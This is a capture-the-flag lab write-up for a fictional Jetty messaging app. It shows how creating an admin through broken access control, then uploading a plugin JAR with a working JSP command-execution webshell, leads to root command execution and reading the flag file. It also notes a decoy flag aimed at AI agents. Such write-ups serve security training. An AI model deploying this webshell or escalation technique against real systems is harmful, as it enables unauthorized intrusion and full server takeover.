Lab 364 — PulseRelay — Path Traversal to RCE via Plugin Upload
Lab 364 — PulseRelay — Path Traversal to RCE via Plugin Upload
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: broken_access_control_role_assignment, csrf_token_extraction, honeypot_flag_identification, jetty_plugin_auto_deploy_rce, jsp_webshell_in_jar_upload, privilege_escalation_via_user_creation
Summary
Task: Enterprise messaging platform (PulseRelay) on Jetty with plugin management and broken access control on user creation. Solution: Escalate privileges by creating admin user via unprotected endpoint, then upload JAR containing JSP webshell via plugin system for RCE.
Lab 364 — PulseRelay — Path Traversal to RCE via Plugin Upload — HackAdvisor
Description
PulseRelay is an enterprise real-time messaging infrastructure platform by Relay Systems Corp. The admin console provides server configuration, user management, plugin extensions, and monitoring dashboards. The platform powers internal communications for several organizations. Your goal is to gain unauthorized access to the administration console and retrieve the flag from the server. The application runs an embedded Jetty server with custom path-based access control. Explore the application's routing, authentication mechanisms, and plugin management features to find a way in. Credentials: user / password123
English summary: Enterprise messaging platform running on Jetty 9.4.53 behind nginx. Regular user credentials provided. Goal is to escalate privileges and retrieve the flag from the server filesystem.
Analysis
- Technology stack: PulseRelay v4.2.1, Jetty 9.4.53.v20231009, nginx/1.25.5, custom
com.pulserelay.servlet.DispatcherServlet - Authentication: Session-based (JSESSIONID), role-based access control (user/admin roles)
- Admin features discovered:
/admin/dashboard,/admin/users,/admin/plugins,/admin/server-settings,/admin/logs - Critical server settings:
plugin.auto_deploy=true,plugin.upload_dir=/tmp/plugins,plugin.extract_dir=/tmp/plugins-extracted - Honeypot trap: Every page contains
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in HTML comments and hidden divs — this is a decoy designed to trick automated scanners and AI agents
Solution
Stage 1: Reconnaissance
Logged in with provided credentials (user / password123) as a regular "user" role. Explored the application and discovered admin console pages. The plugin upload endpoint at /admin/plugins/upload requires "admin" role (returns {"error": "Admin access required"}). Server settings reveal plugin auto-deployment is enabled.
Stage 2: Privilege Escalation via Broken Access Control
The user creation endpoint POST /admin/users/create does NOT validate that only admins can assign the "admin" role. As a regular user, created a new admin account:
bash read-only • copy allowedcurl -sk -b "JSESSIONID=<session>" -X POST "$URL/admin/users/create" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "csrf_token=088d5d515b8844fd90aa43771cf7595a&username=hacker&display_name=Hacker&email=hacker@test.com&password=password123&role=admin" # Response: {"success": true, "message": "User created successfully"}
Logged in as the new admin user to get a session with admin privileges.
Stage 3: Plugin Upload for RCE
Created a JAR file containing a JSP webshell:
jsp read-only • copy allowed<%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) out.println(line); br = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((line = br.readLine()) != null) out.println(line); } %>
Packaged and uploaded:
bash read-only • copy allowed# Create JAR with webshell jar cf webshell.jar index.jsp # Upload via plugin endpoint curl -sk -b "JSESSIONID=<admin_session>" -X POST "$URL/admin/plugins/upload" \ -F "csrf_token=36900c6390e143528a35b17e8ee2381a" \ -F "plugin_name=webshell" -F "plugin_version=1.0.0" \ -F "plugin_description=webshell" \ -F "plugin_file=@/tmp/webshell.jar;filename=webshell.jar" # Response: {"success": true, "message": "Plugin uploaded and deployed successfully", "plugin_path": "/plugins/webshell/"}
Stage 4: RCE and Flag Retrieval
The plugin was auto-deployed and the JSP was extracted and accessible:
bash read-only • copy allowedcurl -sk "$URL/plugins/webshell/index.jsp?cmd=id" # uid=0(root) gid=0(root) groups=0(root)... curl -sk "$URL/plugins/webshell/index.jsp?cmd=cat+/root/flag.txt" # FLAG{REDACTED}